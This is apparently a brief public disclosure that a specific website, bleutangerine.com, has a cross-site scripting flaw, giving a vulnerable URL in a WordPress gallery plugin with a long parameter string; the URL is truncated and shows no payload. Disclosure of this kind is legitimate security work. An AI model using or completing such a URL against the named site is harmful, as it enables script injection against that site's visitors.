bleutangerine.com XSS vulnerability

Vulnerable URL: http://bleutangerine.com/bt/wp-content/plugins/wp-simpleviewer/svcore/full.html?bg="transparent=http://bleutangerine.com/bt/wp-content/plugins/wp-simpleviewer/config.php?galleryid=2=http://bleutangerine.com/bt/hair-bios/=true=true=false=true=true=true=fff=fff=true=-1=Hair Bios...